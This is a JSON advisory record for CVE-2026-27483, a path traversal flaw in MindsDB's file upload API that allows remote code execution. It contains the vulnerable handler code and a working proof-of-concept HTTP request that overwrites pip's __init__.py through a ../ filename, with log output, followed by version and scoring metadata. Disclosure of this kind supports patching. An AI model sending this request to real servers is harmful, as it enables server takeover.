{"schema":"threatline.record/2","record":{"id":"CVE-2026-27483","aliases":["GHSA-4894-xqv6-vrfq","PYSEC-2026-2205"],"summary":"MindsDB: Path Traversal in /api/files Leading to Remote Code Execution","details":"### Summary\n\nThere is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.\n\n### Details\n\nThe vulnerability exists in the \"Upload File\" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:\n```python\n@ns_conf.route(\"/<name>\")\n@ns_conf.param(\"name\", \"MindsDB's name for file\")\nclass File(Resource):\n    @ns_conf.doc(\"put_file\")\n    @api_endpoint_metrics('PUT', '/files/file')\n    def put(self, name: str):\n        \"\"\"add new file\n        params in FormData:\n            - file\n            - original_file_name [optional]\n        \"\"\"\n\n        data = {}\n        mindsdb_file_name = name\n\n        existing_file_names = ca.file_controller.get_files_names()\n\n        def on_field(field):\n            name = field.field_name.decode()\n            value = field.value.decode()\n            data[name] = value\n\n        file_object = None\n\n        def on_file(file):\n            nonlocal file_object\n            data[\"file\"] = file.file_name.decode()\n            file_object = file.file_object\n\n        temp_dir_path = tempfile.mkdtemp(prefix=\"mindsdb_file_\")\n\n        if request.headers[\"Content-Type\"].startswith(\"multipart/form-data\"):\n            parser = multipart.create_form_parser(\n                headers=request.headers,\n                on_field=on_field,\n                on_file=on_file,\n                config={\n                    \"UPLOAD_DIR\": temp_dir_path.encode(),  # bytes required\n                    \"UPLOAD_KEEP_FILENAME\": True,\n                    \"UPLOAD_KEEP_EXTENSIONS\": True,\n                    \"MAX_MEMORY_FILE_SIZE\": 0,\n                },\n            )\n\n            while True:\n                chunk = request.stream.read(8192)\n                if not chunk:\n                    break\n                parser.write(chunk)\n            parser.finalize()\n            parser.close()\n\n            if file_object is not None:\n                if not file_object.closed:\n                    try:\n                        file_object.flush()\n                    except (AttributeError, ValueError, OSError):\n                        logger.debug(\"Failed to flush file_object before closing.\", exc_info=True)\n                    file_object.close()\n                file_object = None\n        else:\n            data = request.json\n```\nSince the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.\n\n\n### PoC\n\nThis vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.\n\nThe API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:\n\n1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script.\n2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip.\n \nExploit：\n```\nPUT /api/files/mm HTTP/1.1\nHost: ip:47334\nContent-Length: 579\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9\nOrigin: http://ip:47334\nReferer: http://ip:47334/fileUpload\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh,en;q=0.9,zh-CN;q=0.8\nCookie: bid=87948125-5042-4fc8-a692-9cbf71e387be\nConnection: keep-alive\n\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"name\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source_type\"\n\nfile\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\"\nContent-Type: text/plain\n\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9--\n```\nAfter sending this request, you can observe the logs in Docker's output:\n```\n2025-05-30 02:26:52,432            http INFO     python_multipart.multipart: Opening a file on disk\n2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'\n2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'\n```\nAt this point, you can see that the file has been successfully overwritten:\n```\nroot@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n```\nAfterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.\n\n### Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.","categories":["Libraries & packages"],"product":"mindsdb","vendor":"mindsdb","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4894-xqv6-vrfq","source_modified_at":"2026-10-08T13:45:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"mindsdb"},"range":"< 25.9.1.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-27483","source_modified_at":"2026-02-27T18:19:11.743Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"mindsdb","vendor":"mindsdb","versions":[{"version":"< 25.9.1.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4894-xqv6-vrfq","source_modified_at":"2026-07-13T07:26:30.532706830Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"mindsdb","purl":"pkg:pypi/mindsdb"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"25.9.1.1"}],"type":"ECOSYSTEM"}],"versions":["0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.8.9.1","0.8.9.2","0.8.9.3","0.8.9.4","0.8.9.5","0.8.9.6","0.8.9.7","0.8.9.8","0.9.0.0","0.9.0.1","0.9.1.0","0.9.2.0","1.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.2","1.1.3"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4894-xqv6-vrfq","source_modified_at":"2026-10-08T13:45:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"mindsdb"},"version":"25.9.1.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4894-xqv6-vrfq","source_modified_at":"2026-07-13T07:26:30.532706830Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"mindsdb","purl":"pkg:pypi/mindsdb"},"version":"25.9.1.1"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":0.09828,"percentile":0.95554,"score_date":"2026-10-23"},"published_at":"2026-02-24T14:00:05.402Z","modified_at":"2026-10-08T13:45:16Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-4894-xqv6-vrfq","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T13:45:16Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-27483","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-02-27T18:19:11.743Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-4894-xqv6-vrfq","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-07-13T07:26:30.532706830Z"},{"source":"Exploit-DB","url":"https://www.exploit-db.com/exploits/52547","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-05-04"},{"source":"Nuclei","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27483.yaml","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":null},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-27483","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","Exploit-DB","Nuclei","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27483","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-4894-xqv6-vrfq","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-02-27T18:19:02.972702Z"},"exploits":[{"added":"2026-05-04","date":"2026-05-04","kind":"Webapps exploit","name":"MindsDB  25.9.1.1 - Path Traversal","source":"Exploit-DB","url":"https://www.exploit-db.com/exploits/52547","verified":false},{"kind":"Scanner template","name":"MindsDB - Remote Code Execution","source":"Nuclei","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27483.yaml"}],"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-08T13:45:16Z","content_hash":"3acf647b45d172b348182398b6ff94adf56cd7e9539d4bf3312b023a2e7363c5"}}
